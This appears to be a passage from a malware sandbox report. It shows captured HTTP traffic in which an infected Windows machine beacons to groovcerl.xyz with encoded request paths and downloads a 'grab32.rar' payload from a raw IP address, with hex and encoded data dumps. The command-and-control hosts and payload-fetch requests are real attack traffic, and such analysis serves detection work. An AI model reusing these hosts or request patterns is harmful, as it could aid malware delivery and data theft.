27 9c 87 73 5f 9c 87 73 f7 9c 87 73 85 9c 87 73 09 9b 87 72 51 9c 87 73 d3 9c 87 73 9d 9c 87 73 4b 9c 86 72 2f 9c 87 73 33 9c 87 73 61 9c 87 73 bd 9b 87 73 b1 9c 87 73 21 9c 87 73 23 9c 87 73 cd 9c 87 73 87 9c 87 73 f9 9c 86 73 f9 9c 87 73 83 9c 87 73 07 9c 87 73 1f 9c 87 73 79 9c 87 73 b9 9c 87 72 c5 9c 87 73 c3 9c 87 72 a7 9c 87 73 55 9c 87 72 0b 9c 87 73 1d 9c Data Ascii: h& ( @sssswrssssssssssrs{ss#ssrsss[sssssss}ssWrssmsKsCswsss%s!sssssUssYsssr#ssssr%s[ssss]srsSssqssssssussssssAs%ss#rrs]sssksssss]srs7ssrrsrsssss7sssis?s7sssssrWssssssss[sssssssmsIs;ss!ss#ssssQsssrsmsrsrssrssQsrKssgs'sssss's_sssrQsssKr/s3sasss!s#ssssssssysrsrsUrs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49767	162.0.213.230	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2020 19:07:12.174215078 CET	3257	OUT	GET /images/GHw2NFoi/uGw7IwXJCQkcQl1KQVbo_2B/820znWDaSW/Ov_2B4z8yJqAozhde/qBE2ImkkKvCH/VXQwRoWXG5R/k9cBAONcCOy6zC/schMO1Bz6Hv1XAWY_2Bj1/Epe_2FrlHpFxpDqb/wkcRD0A5Nn7ZtOM/LcznbG_2FsTdDMEgaN/jIHJPS5D0/Fp7e0qKKctEIDJT6MGkX/RCGhIjX0.avi HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: groovcerl.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=d50vmo31p61r9jkm7vp6r303t1
Nov 25, 2020 19:07:12.362579107 CET	3259	IN	HTTP/1.1 200 OK Date: Wed, 25 Nov 2020 18:07:12 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 37 64 62 63 0d 0a 35 4a 67 62 37 72 57 50 58 79 50 51 70 6f 4a 6b 4b 4c 56 44 4a 41 51 4b 36 4d 64 69 4c 67 37 4a 6e 49 69 33 52 63 44 55 35 50 78 70 4e 52 58 34 37 55 6b 58 6f 2b 76 53 66 5a 77 61 54 59 41 31 5a 33 5a 69 48 33 2f 33 76 4c 4b 37 2b 53 51 34 71 6c 73 31 4a 64 47 6b 43 49 74 56 33 6e 65 32 49 58 32 61 42 34 47 36 34 49 71 2f 6b 72 51 33 67 53 41 42 57 6f 44 42 74 6b 4b 39 68 34 4c 57 41 34 4f 6a 57 48 63 50 51 4c 51 62 63 49 6b 37 73 4d 4b 4a 51 35 37 49 73 30 31 53 33 55 63 30 33 73 35 38 6e 5a 70 4e 59 5a 63 5a 5a 53 63 57 7a 72 6d 36 4e 64 61 4f 72 78 58 46 43 4a 50 52 67 76 56 32 6a 2f 61 47 46 54 33 55 63 38 64 34 34 4d 32 71 32 44 76 70 4f 59 69 31 46 73 48 4f 4b 7a 31 64 5a 45 2f 43 35 37 71 58 75 70 35 59 6d 37 51 63 6a 68 2b 76 74 43 78 77 59 32 4d 69 75 39 70 4e 66 72 48 33 5a 51 65 48 58 62 53 71 57 4f 33 65 34 2b 62 2f 4c 4e 79 32 6c 59 6c 33 72 4d 6a 69 30 64 7a 76 69 35 66 57 59 70 38 69 53 6c 69 44 6a 65 2b 65 62 63 46 48 64 41 73 63 2b 77 4a 33 4a 31 64 54 4d 6b 54 76 36 39 57 4a 58 74 63 62 41 74 69 73 79 6a 63 31 39 54 31 72 54 49 38 4f 56 57 36 41 32 54 47 45 4a 2b 74 69 70 2f 77 70 31 77 68 42 65 78 39 41 6b 4d 4f 38 33 5a 73 35 4c 34 48 32 33 65 6b 5a 7a 56 74 36 50 34 63 71 4c 37 74 34 59 43 31 56 7a 41 4a 36 72 2b 4c 42 42 35 6e 69 52 65 50 52 33 4d 33 48 32 4b 59 76 49 50 7a 75 4e 69 72 4d 72 52 70 50 77 36 58 6e 75 2b 78 50 49 54 36 57 71 58 70 74 62 73 34 4f 55 56 48 70 34 38 72 52 78 79 39 52 4f 38 38 61 74 4d 64 37 61 59 51 6c 46 46 7a 36 68 63 6e 73 78 4f 6a 70 7a 45 66 4e 4e 77 78 32 32 65 58 66 59 41 36 6c 32 44 6c 4b 38 6b 73 30 50 2b 6f 65 52 66 62 62 43 32 4d 78 43 33 37 32 37 56 4a 4f 37 73 57 48 2b 36 78 33 41 79 78 41 36 56 57 32 4a 54 38 6d 49 57 34 5a 42 63 6f 57 37 4a 49 50 33 37 61 76 4b 31 74 58 74 77 55 65 77 73 6d 33 74 67 2b 61 57 33 37 57 4c 57 41 30 66 4d 6c 50 43 71 64 57 57 74 68 34 30 52 34 56 71 6a 67 6e 5a 48 69 2f 54 6c 53 4b 70 54 72 6f 48 38 4e 31 68 69 36 55 71 54 57 51 6b 31 78 47 63 73 4b 55 71 6a 30 67 63 2f 63 7a 66 38 7a 7a 45 58 73 44 73 38 4d 67 37 47 6a 35 2b 74 4e 75 4b 73 45 79 67 76 31 7a 6e 47 41 4f 6d 32 4a 42 44 66 55 46 58 2b 76 74 64 69 62 32 6d 4d 74 46 36 59 4a 52 75 4e 43 50 39 72 51 4f 6f 2b 47 70 54 54 72 36 32 61 35 52 56 68 65 71 34 35 4e 4a 34 50 39 6a 47 44 57 57 49 34 57 6e 74 75 45 47 5a 48 55 76 36 38 50 56 32 4f 64 7a 5a 77 56 59 79 33 46 56 73 52 33 6f 78 38 55 70 7a 47 42 43 4a 47 43 50 53 65 79 30 52 49 67 6e 2f 63 74 41 70 59 6c 37 2b 49 6c 55 73 68 35 2b 39 75 48 53 79 38 6d 37 36 4e 33 2b 41 77 6b 2b 6d 4a 68 37 2b 2b 48 6a 5a 57 78 49 75 64 6a 4b 61 2b 77 2f 41 63 48 51 49 73 65 6c 44 64 6b 56 7a 46 54 33 74 30 67 70 4f 35 62 6f 4a 5a 31 6d 35 4f 68 6e 70 6b 69 30 4d 34 6e 62 79 72 71 35 4d 55 64 48 61 77 32 6d 4a 47 43 4d 41 73 64 46 56 6b 50 42 58 47 6b 49 56 61 53 67 37 6e 4f 4d 49 6a 58 72 6e 50 Data Ascii: 47dbc5Jgb7rWPXyPQpoJkKLVDJAQK6MdiLg7JnIi3RcDU5PxpNRX47UkXo+vSfZwaTYA1Z3ZiH3/3vLK7+SQ4qls1JdGkCItV3ne2IX2aB4G64Iq/krQ3gSABWoDBtkK9h4LWA4OjWHcPQLQbcIk7sMKJQ57Is01S3Uc03s58nZpNYZcZZScWzrm6NdaOrxXFCJPRgvV2j/aGFT3Uc8d44M2q2DvpOYi1FsHOKz1dZE/C57qXup5Ym7Qcjh+vtCxwY2Miu9pNfrH3ZQeHXbSqWO3e4+b/LNy2lYl3rMji0dzvi5fWYp8iSliDje+ebcFHdAsc+wJ3J1dTMkTv69WJXtcbAtisyjc19T1rTI8OVW6A2TGEJ+tip/wp1whBex9AkMO83Zs5L4H23ekZzVt6P4cqL7t4YC1VzAJ6r+LBB5niRePR3M3H2KYvIPzuNirMrRpPw6Xnu+xPIT6WqXptbs4OUVHp48rRxy9RO88atMd7aYQlFFz6hcnsxOjpzEfNNwx22eXfYA6l2DlK8ks0P+oeRfbbC2MxC3727VJO7sWH+6x3AyxA6VW2JT8mIW4ZBcoW7JIP37avK1tXtwUewsm3tg+aW37WLWA0fMlPCqdWWth40R4VqjgnZHi/TlSKpTroH8N1hi6UqTWQk1xGcsKUqj0gc/czf8zzEXsDs8Mg7Gj5+tNuKsEygv1znGAOm2JBDfUFX+vtdib2mMtF6YJRuNCP9rQOo+GpTTr62a5RVheq45NJ4P9jGDWWI4WntuEGZHUv68PV2OdzZwVYy3FVsR3ox8UpzGBCJGCPSey0RIgn/ctApYl7+IlUsh5+9uHSy8m76N3+Awk+mJh7++HjZWxIudjKa+w/AcHQIselDdkVzFT3t0gpO5boJZ1m5Ohnpki0M4nbyrq5MUdHaw2mJGCMAsdFVkPBXGkIVaSg7nOMIjXrnP
Nov 25, 2020 19:07:12.362612963 CET	3260	IN	Data Raw: 66 51 43 75 61 64 36 71 70 74 4b 50 6c 31 61 78 51 74 68 41 79 64 67 34 56 79 51 32 69 37 56 49 75 74 74 55 68 4d 44 64 30 33 4c 58 38 68 4f 53 50 4b 49 6c 57 69 33 30 71 6a 44 64 67 69 6c 75 67 45 50 41 65 38 4e 31 73 5a 46 51 78 75 6b 6a 6d 6d Data Ascii: fQCuad6qptKPl1axQthAydg4VyQ2i7VIuttUhMDd03LX8hOSPKIlWi30qjDdgilugEPAe8N1sZFQxukjmmwrdD43/NotmMZFtMwSkvFc2og7Q9bbMCqb4TTCFi2Nj3yUlBOCpJbU12uF1M4rZukt6Ja/Bz0ZFUn+VhlyoEsu10lOnE5AAX+HwwLqlBMkvym0N0KSiWjh0Pha59urtp0fKQW61+Ah7Km9lR3yj2pv4+3fhTHlfVo
Nov 25, 2020 19:07:12.362636089 CET	3261	IN	Data Raw: 6b 70 57 76 55 59 58 72 62 44 72 65 74 64 5a 30 36 52 72 2f 4f 61 61 2b 2f 6f 2f 47 70 2b 34 44 51 76 36 71 72 43 2f 30 6f 75 6b 50 78 6a 2b 32 66 52 54 48 67 4c 7a 58 6e 55 77 43 54 71 4a 2f 61 49 43 2b 66 75 37 69 74 46 73 48 2b 4b 50 72 79 43 Data Ascii: kpWvUYXrbDretdZ06Rr/Oaa+/o/Gp+4DQv6qrC/0oukPxj+2fRTHgLzXnUwCTqJ/aIC+fu7itFsH+KPryCkRtIVqsY/TqmNsJNQAisJun+ZXZ/fjuo6fV2jkQ6yaDYOZ6VZpqZARikb2+jTlLIw2P9wpFyJHIM/riqqV4K+bH8FbfCJg0NvGTYz+oBOYI5ZPV8gnXsXLL2er25qgbXXkQPIe2oaEpxO8tEdA0YWaL6vMxEcx/m4
Nov 25, 2020 19:07:12.362667084 CET	3263	IN	Data Raw: 71 4e 2f 45 5a 52 6c 68 51 47 50 2b 34 70 30 37 75 4a 42 4e 76 47 56 63 2b 4e 56 41 6b 54 73 6f 55 46 78 67 46 4a 5a 41 4b 37 78 7a 34 63 79 4e 4d 37 76 47 6d 33 51 44 6e 73 51 39 39 41 70 56 69 50 78 61 6b 57 66 41 70 51 4f 65 57 4a 63 49 47 53 Data Ascii: qN/EZRlhQGP+4p07uJBNvGVc+NVAkTsoUFxgFJZAK7xz4cyNM7vGm3QDnsQ99ApViPxakWfApQOeWJcIGSRvkOsjjG7u3MlV31pzsL1z3bj1b1lwxhjU/x8V5D7fS1nW6leP67q4sRt8ruz5EoqwlzuStd+WFMUsU41S1byIN3G38VD2I9wOYB2tmNO9rd6db0nKur+8yBoKZCMNqSKEENPl2DXPrSwQM6NG10xPiH2AJmEdg3R
Nov 25, 2020 19:07:12.362689018 CET	3264	IN	Data Raw: 78 34 70 6a 5a 39 4d 71 61 49 4b 63 67 53 6a 32 39 38 77 70 45 46 30 53 57 30 56 5a 4f 4e 4c 6e 47 68 4c 61 61 69 69 49 63 4c 4a 5a 6f 51 4a 78 6b 61 69 32 77 4f 49 54 7a 45 44 66 68 5a 34 2f 41 44 61 43 34 4d 45 53 57 6f 38 53 43 53 71 71 54 67 Data Ascii: x4pjZ9MqaIKcgSj298wpEF0SW0VZONLnGhLaaiiIcLJZoQJxkai2wOITzEDfhZ4/ADaC4MESWo8SCSqqTg21t+ALBDFKq7qDjIUFY70UCbWrE+fF3+xp/jVvaa2awhrgpG9UhoMeWxMesVsJQXJrBqwrwlq5Ke3sH1iE86N6SlQ/NqxX9g+loMGpV9kAxTvNXoUblOjGBxlEdwadsWNg17v4hWFmM1Za45aubBKliYMk8+vLsXV
Nov 25, 2020 19:07:12.362711906 CET	3266	IN	Data Raw: 64 62 35 73 33 78 32 48 45 63 64 62 6e 6d 4d 53 72 39 73 2f 62 67 4f 39 63 61 2f 36 73 68 75 37 77 35 62 38 79 57 31 6e 49 79 42 7a 45 39 61 72 67 54 77 38 58 63 34 77 4b 2f 50 46 54 58 43 59 62 66 74 34 38 35 47 76 78 51 53 69 62 34 44 68 6b 4d Data Ascii: db5s3x2HEcdbnmMSr9s/bgO9ca/6shu7w5b8yW1nIyBzE9argTw8Xc4wK/PFTXCYbft485GvxQSib4DhkMDbYFWsVn4dNz4LkOpllHIlAf6Z3lrffT0ExTZcC3WA07eW4rlSUv9gGT1vislehGpjL5zEOGUHuTBQm0oK7ut41HHUyVDIfWaEAt9oGxfSYEYAOqbGXiSX2FQJFasSfNHXqJtvBAJ4xaOVs9adkikm+JAxak1mLYd
Nov 25, 2020 19:07:12.362734079 CET	3267	IN	Data Raw: 6f 75 4b 45 48 54 46 32 78 56 63 63 6e 6a 32 38 6f 52 30 52 65 68 47 6e 64 44 63 4c 65 76 52 59 70 4d 68 36 59 43 35 53 63 7a 65 71 66 6e 64 4f 36 70 74 38 64 74 42 6e 44 57 75 38 36 78 32 79 38 42 6e 65 42 62 57 49 6d 7a 4e 63 30 6d 67 6c 50 46 Data Ascii: ouKEHTF2xVccnj28oR0RehGndDcLevRYpMh6YC5SczeqfndO6pt8dtBnDWu86x2y8BneBbWImzNc0mglPFrC6mZg+VwUdySYgInEmVo8/rysnUko/yZG9E3uWD5TSYvE9+Ib4pZm1z66L/cBlpoj3dwmg0JynCGbolp8Q3ylZ66+9ewIJZUrg6ExYqSCrD0iDXDnNHndXWH5eeTcVt+alxrKER8YFdfdhJP/iwMMwcz8e/mT3cb
Nov 25, 2020 19:07:12.362759113 CET	3268	IN	Data Raw: 59 4d 62 45 38 49 30 75 6c 4c 2b 4e 42 73 41 32 63 39 6e 56 5a 34 71 45 76 72 61 58 75 4d 4c 5a 2f 2b 48 65 50 72 43 36 65 4a 37 48 38 73 31 6e 31 62 70 66 77 47 41 73 52 56 64 4b 44 4e 61 5a 76 51 66 6e 44 39 70 62 45 39 47 70 43 50 4d 30 66 41 Data Ascii: YMbE8I0ulL+NBsA2c9nVZ4qEvraXuMLZ/+HePrC6eJ7H8s1n1bpfwGAsRVdKDNaZvQfnD9pbE9GpCPM0fAOghC+a5ZtUNdLkeFNwP40SdxFXwoqfBghED+ZoMNjSC2xzm4HswGO+bx6DP2eg/zcGWLo1gvGjMTBqkfFyNbf4kaRHEjqw6T6Nf4vSIP8/8D+7ziXlYcNOq9TUSZXkMELKTUY+y/kjStw8ZMSYkUvIMseXOFrIuDd
Nov 25, 2020 19:07:12.362783909 CET	3270	IN	Data Raw: 52 47 32 6b 75 48 6b 4d 34 59 63 54 32 4d 70 32 47 53 76 46 59 36 6f 58 33 47 6b 74 6b 77 76 42 69 4b 72 4e 37 57 62 59 4e 37 59 35 71 47 56 59 5a 63 67 30 65 45 6e 45 36 6a 39 52 72 54 6d 5a 49 4e 74 6b 54 55 32 42 37 6a 67 6c 6a 59 48 71 36 2f Data Ascii: RG2kuHkM4YcT2Mp2GSvFY6oX3GktkwvBiKrN7WbYN7Y5qGVYZcg0eEnE6j9RrTmZINtkTU2B7jgljYHq6/+5M7OVh2KFv6WtJVJorvqm8TiYi6APOvjAR0Hd5oY4Go194M8LZ3EZ5ZGuTpo8GWLAkO80iP/iMnkA35qtjaFAOyGJ5VCko7MHv5A6VGlIaGp6KLCQDcxLw09TFiNSY9R771meCYRwimuysy+tuX3+F9evAWSevEk
Nov 25, 2020 19:07:12.362807989 CET	3271	IN	Data Raw: 78 56 44 74 36 62 71 67 43 41 36 56 49 41 74 55 51 41 33 54 35 56 42 31 73 52 64 2f 44 73 4c 6d 6c 72 74 57 4c 64 49 63 5a 7a 6f 4f 43 37 75 33 5a 76 77 33 51 55 7a 70 78 78 39 77 6c 4c 66 72 77 33 47 2b 66 41 61 66 51 44 71 79 44 2f 57 32 78 68 Data Ascii: xVDt6bqgCA6VIAtUQA3T5VB1sRd/DsLmlrtWLdIcZzoOC7u3Zvw3QUzpxx9wlLfrw3G+fAafQDqyD/W2xh/corM+Iunesc987Ect3GMuZxmeHTaP82MM9kN4yxqogurGme2HAIm4hrdLET0j3wVm36cVhl1djaEda39EpAAbZYCfv7LmfIppd2789l/iRQEEQjmhM9h/mXl/PXnfQ2V9CHP35Ej8l8Su/Fe7aKjrXY0MWlfEeUr
Nov 25, 2020 19:07:12.534471035 CET	3273	IN	Data Raw: 4f 4c 4c 61 53 36 64 33 75 2b 78 34 78 72 63 55 77 6a 57 64 78 4b 67 78 68 52 37 6c 42 37 68 41 39 74 31 70 67 48 39 5a 32 72 37 53 54 59 45 56 62 74 47 31 77 79 73 4d 30 45 33 44 35 49 44 6a 59 52 76 67 45 4e 47 50 35 6b 4b 72 70 65 64 76 66 53 Data Ascii: OLLaS6d3u+x4xrcUwjWdxKgxhR7lB7hA9t1pgH9Z2r7STYEVbtG1wysM0E3D5IDjYRvgENGP5kKrpedvfSuAynwCTGwaQifhSITw3PzolBKm+DdoM3dlh0qb8H/Ie777Icy66RmvZQcBPWgcHSupKFCi5ZYD1qtQlm2aTdeblw9sOeS6TPYc5FOsM9nszIEkgNSKqogddw2vJ5qVtcSv6eHi2pt/U+KSBdrqj7xKr8iyKF/7ZHp

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49769	162.0.213.230	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2020 19:07:15.279915094 CET	3566	OUT	GET /images/_2B5hZPBBeMEkvAROXtH1/WZsdWhoR7wg_2Bd_/2BoOtRydsyDG3r9/w2GcVR9gar6CncemWY/lVp7AN_2F/YEmcQ_2BEaBJyDUMlsGk/jN8oDN7xGQMygxh4f9g/_2FyagJjAZDLRvoreYuui8/LRxePg_2BGB0U/MpT06eFx/VfNkohToJFJcoGZ4_2Bgo5f/Opt0pN_2FL/JG_2FCiZ4ufIuI3kc/AT1ZiYCskKpp/v3TP_2FuS2b/9i.avi HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: groovcerl.xyz Connection: Keep-Alive Cookie: lang=en; PHPSESSID=d50vmo31p61r9jkm7vp6r303t1
Nov 25, 2020 19:07:15.467380047 CET	3568	IN	HTTP/1.1 200 OK Date: Wed, 25 Nov 2020 18:07:15 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 2364 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 64 73 77 38 44 56 43 68 43 31 5a 34 58 7a 75 33 49 32 4b 63 32 7a 2f 39 72 6d 46 43 35 6d 73 38 39 4a 77 50 55 55 45 56 76 2f 4e 38 6f 55 47 43 4f 36 4b 46 54 72 63 6f 6f 75 4f 74 43 50 63 46 4e 4e 53 57 48 70 45 73 4d 6b 51 4c 55 76 32 6a 78 31 4f 66 61 4e 42 78 35 45 46 37 42 48 69 48 68 78 73 61 31 55 63 30 49 31 58 2b 2f 45 37 2b 78 68 7a 48 33 57 4e 4b 4a 67 4d 39 6c 44 2f 76 47 5a 47 76 5a 79 4c 64 69 52 44 6f 59 6c 53 41 6b 45 64 36 76 5a 30 77 77 79 46 79 42 67 61 2f 4c 59 68 44 68 6f 6a 55 51 58 2f 63 61 30 7a 47 6c 59 41 32 78 74 75 69 49 70 72 6b 39 63 4d 2b 7a 77 2f 32 64 30 75 48 65 63 43 53 30 2f 4c 5a 4e 6c 7a 2b 48 59 6c 58 7a 63 55 43 55 47 73 75 74 34 75 73 73 71 51 48 54 55 2b 4b 6e 39 44 69 59 4d 61 75 4f 6e 65 46 70 5a 42 48 32 57 46 54 46 67 4a 30 44 37 68 42 48 32 71 50 70 42 51 52 70 6a 67 73 76 59 43 42 2b 46 4e 6c 32 38 6f 59 44 37 67 51 35 39 68 4a 65 6d 4b 36 42 67 6a 57 63 63 78 6a 62 6c 4f 53 72 45 75 53 72 52 64 38 48 2f 63 4c 78 6d 79 71 57 58 39 51 78 64 6a 55 62 46 39 45 50 73 48 4e 55 58 58 4d 70 74 4f 41 46 52 2f 55 50 42 52 65 43 78 44 5a 65 48 67 6d 48 2f 53 61 4b 4a 6d 61 4e 52 77 68 36 67 2b 59 51 78 5a 59 30 59 51 45 31 45 44 46 2f 58 6f 44 6b 65 33 63 64 4f 50 43 4b 79 4d 39 4d 55 30 4a 68 36 70 57 69 79 36 64 30 56 73 30 44 69 78 6e 79 55 79 49 65 59 50 67 50 6b 4c 4a 78 30 33 36 38 32 4b 45 4e 54 35 70 33 31 37 78 72 79 74 71 49 41 72 2f 45 54 7a 73 56 4d 48 4b 53 53 4f 54 47 48 37 54 67 45 6b 54 76 72 6f 32 43 59 66 47 67 4d 42 47 56 78 56 45 38 2f 47 6a 6c 6d 76 5a 41 53 33 79 62 77 53 6d 6a 46 35 72 30 6a 52 4e 6d 46 67 47 75 44 6c 4d 65 6f 67 76 42 45 62 56 6e 46 51 56 4f 4d 37 36 32 38 41 78 4f 37 34 73 72 78 44 56 53 34 44 66 70 47 34 41 70 6d 30 68 5a 71 38 61 35 51 42 54 31 6b 6b 54 70 79 66 55 39 4e 70 64 72 6b 32 72 71 71 79 7a 65 33 70 74 4d 71 69 77 6d 34 57 39 7a 35 77 57 63 46 4b 6d 4d 4b 35 44 77 46 51 54 4a 6e 4e 50 6d 43 7a 33 32 70 54 30 4f 68 49 72 57 50 59 30 4e 75 41 2b 6c 6d 44 47 31 68 4f 57 50 32 6e 5a 48 36 59 6a 72 47 79 37 53 31 73 52 44 4e 2b 42 66 67 66 38 33 51 38 4a 39 74 59 55 50 4d 48 4d 52 55 63 65 2b 70 66 66 6e 62 65 48 47 56 35 53 43 2b 34 74 79 69 5a 2b 6b 4e 55 79 2f 46 79 78 77 57 61 66 37 6c 39 41 77 79 49 55 45 72 74 43 38 43 50 38 79 5a 62 53 55 67 67 71 30 62 59 42 79 34 65 71 46 4d 48 35 68 70 46 51 46 6a 2b 4a 64 48 44 69 53 79 64 35 2b 78 6d 65 36 74 79 4b 4b 43 6f 43 59 35 43 6c 47 6f 61 64 47 4b 35 51 42 65 2f 72 69 32 53 6e 51 54 76 45 4f 34 6c 6f 73 68 4a 65 42 2f 79 31 30 2f 4e 32 41 30 7a 43 74 74 30 54 43 49 76 47 2b 55 6c 71 69 48 59 34 69 68 6e 58 34 55 2b 2b 33 78 38 34 43 6a 64 6c 52 47 58 4e 6a 66 50 6b 61 67 6e 6a 32 38 5a 41 4c 43 35 64 52 4a 50 55 34 38 5a 50 73 44 59 30 6f 61 50 69 36 38 6f 50 6c 47 74 76 77 6f 35 59 77 54 59 39 6b 76 51 35 4e 74 34 61 4c 59 55 72 72 77 39 38 7a 52 38 69 73 67 48 4f 4c 7a 67 77 7a 53 Data Ascii: 1dsw8DVChC1Z4Xzu3I2Kc2z/9rmFC5ms89JwPUUEVv/N8oUGCO6KFTrcoouOtCPcFNNSWHpEsMkQLUv2jx1OfaNBx5EF7BHiHhxsa1Uc0I1X+/E7+xhzH3WNKJgM9lD/vGZGvZyLdiRDoYlSAkEd6vZ0wwyFyBga/LYhDhojUQX/ca0zGlYA2xtuiIprk9cM+zw/2d0uHecCS0/LZNlz+HYlXzcUCUGsut4ussqQHTU+Kn9DiYMauOneFpZBH2WFTFgJ0D7hBH2qPpBQRpjgsvYCB+FNl28oYD7gQ59hJemK6BgjWccxjblOSrEuSrRd8H/cLxmyqWX9QxdjUbF9EPsHNUXXMptOAFR/UPBReCxDZeHgmH/SaKJmaNRwh6g+YQxZY0YQE1EDF/XoDke3cdOPCKyM9MU0Jh6pWiy6d0Vs0DixnyUyIeYPgPkLJx03682KENT5p317xrytqIAr/ETzsVMHKSSOTGH7TgEkTvro2CYfGgMBGVxVE8/GjlmvZAS3ybwSmjF5r0jRNmFgGuDlMeogvBEbVnFQVOM7628AxO74srxDVS4DfpG4Apm0hZq8a5QBT1kkTpyfU9Npdrk2rqqyze3ptMqiwm4W9z5wWcFKmMK5DwFQTJnNPmCz32pT0OhIrWPY0NuA+lmDG1hOWP2nZH6YjrGy7S1sRDN+Bfgf83Q8J9tYUPMHMRUce+pffnbeHGV5SC+4tyiZ+kNUy/FyxwWaf7l9AwyIUErtC8CP8yZbSUggq0bYBy4eqFMH5hpFQFj+JdHDiSyd5+xme6tyKKCoCY5ClGoadGK5QBe/ri2SnQTvEO4loshJeB/y10/N2A0zCtt0TCIvG+UlqiHY4ihnX4U++3x84CjdlRGXNjfPkagnj28ZALC5dRJPU48ZPsDY0oaPi68oPlGtvwo5YwTY9kvQ5Nt4aLYUrrw98zR8isgHOLzgwzS
Nov 25, 2020 19:07:15.467447042 CET	3569	IN	Data Raw: 64 41 41 63 53 45 67 53 35 4d 4e 55 4f 48 46 38 34 4d 49 66 57 57 4e 31 65 72 6b 46 6f 72 65 79 2b 6a 61 31 4a 34 63 47 46 44 39 64 59 35 51 58 4a 6c 69 31 2b 62 6d 65 53 36 52 6b 58 70 54 6b 49 43 48 5a 73 67 38 6e 2b 37 51 66 4e 31 6a 6f 35 37 Data Ascii: dAAcSEgS5MNUOHF84MIfWWN1erkForey+ja1J4cGFD9dY5QXJli1+bmeS6RkXpTkICHZsg8n+7QfN1jo57o7b5jOQB33QDVHylrkYbaP/Tcqq5HziHmedofvuZtD8QWPxg3+k/6phODAD/0K3/IfjO5C45IlljYgeSveRY0kCWVXZ7CO2X0Oz9qKjEP0RdIjUjq/GF+f+36Akoo4veUpQIG3FOyCDvlslm0pP3Iy4DdarV4cq60
Nov 25, 2020 19:07:15.467497110 CET	3569	IN	Data Raw: 4b 57 67 69 4a 64 45 55 52 55 42 30 79 76 76 6a 46 70 33 55 2f 72 7a 39 67 4b 31 37 39 2f 56 4d 73 46 30 59 2b 47 54 52 34 58 77 30 6c 5a 46 4a 4d 52 47 41 64 68 6c 47 73 6d 30 57 42 6d 64 48 36 4d 3d Data Ascii: KWgiJdEURUB0yvvjFp3U/rz9gK179/VMsF0Y+GTR4Xw0lZFJMRGAdhlGsm0WBmdH6M=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49771	63.250.47.200	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2020 19:07:57.769932985 CET	3881	OUT	GET /grab32.rar HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64) Host: 63.250.47.200 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2020 19:07:57.940072060 CET	3882	IN	HTTP/1.1 200 OK Date: Wed, 25 Nov 2020 18:07:57 GMT Server: Apache/2.4.37 (centos) Last-Modified: Thu, 27 Aug 2020 16:30:09 GMT ETag: "54049-5adde731a4640" Accept-Ranges: bytes Content-Length: 344137 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/vnd.rar Data Raw: c0 a6 4f 18 4c 2e 4f f5 ac 56 c3 3a 54 0e 18 7c 6c 03 2e cb da 4b ab f2 2f 1e b9 75 d9 80 b0 e6 b7 55 ca de 2e e3 21 5b f4 30 90 75 17 5d 9e 47 12 0b d1 3d 27 a8 62 13 ca 3f 27 2d 24 e2 b8 c6 77 d6 9d 8b 14 ad 17 25 64 2c fd 42 a9 7e 3d c8 a2 cc ca be d1 5c 60 c5 0f 09 ba 6c 98 51 1d a0 6d f2 e0 6b e1 5e e2 a4 1a 60 ed 3e dc c4 bb 15 ac e9 60 d2 3a 21 bb 2a 14 b2 85 38 4c 81 de 00 5b 50 94 c5 1b 0b 46 1e 24 0b 7e 50 0a f9 56 31 3e 56 ae 24 e6 cf 39 c6 c8 bf 75 d2 44 a2 29 89 a1 a0 1e fa 19 7e 64 51 42 9b f5 92 e5 d6 b9 c5 79 d8 0f 0b 8d 6e e3 1a f4 b2 4f 6b 3c 66 a5 d7 26 8a bf c7 6f dc ab 6d 86 27 82 bc a1 0a 95 57 0a df f4 05 a1 55 48 9a eb a4 aa c0 00 38 db 68 3b ec 1e eb 60 53 b4 1d 89 f8 3c 36 d1 eb 29 0a bf 17 e1 7a 43 79 30 8d 38 d6 93 b5 31 d4 65 7a fe 8f fb 03 f0 e5 06 50 3a c7 ef 97 d6 c5 7b 17 8a b6 3b 26 6d 6a f1 37 df 35 ed 4a 16 5b d7 4a 0f a5 ae 8e 5c 13 56 63 7e e4 94 20 e4 f0 cb 4a 2c 34 ce 6b 10 1e 2a 99 69 37 ef 65 26 81 b4 e1 43 5a 41 c1 a4 88 2b 41 3e 79 f2 6a 73 1c 5e 54 6d 96 17 02 40 a6 af a2 1e 42 a9 ac 68 b5 dc 24 63 5d 50 1c 81 fb 4b 8d d6 83 78 ff 78 bf a4 9a 36 4d 30 35 96 56 5b 82 a0 60 65 de 20 86 bc 2f 23 11 fd 5d 31 fb 8a af b2 ba de ab 88 c5 38 f0 f6 84 05 fa d8 57 55 06 09 09 fa 4a 2b ad 4a f7 29 60 5a 97 a6 37 56 78 53 aa 2d cd a2 52 ca 27 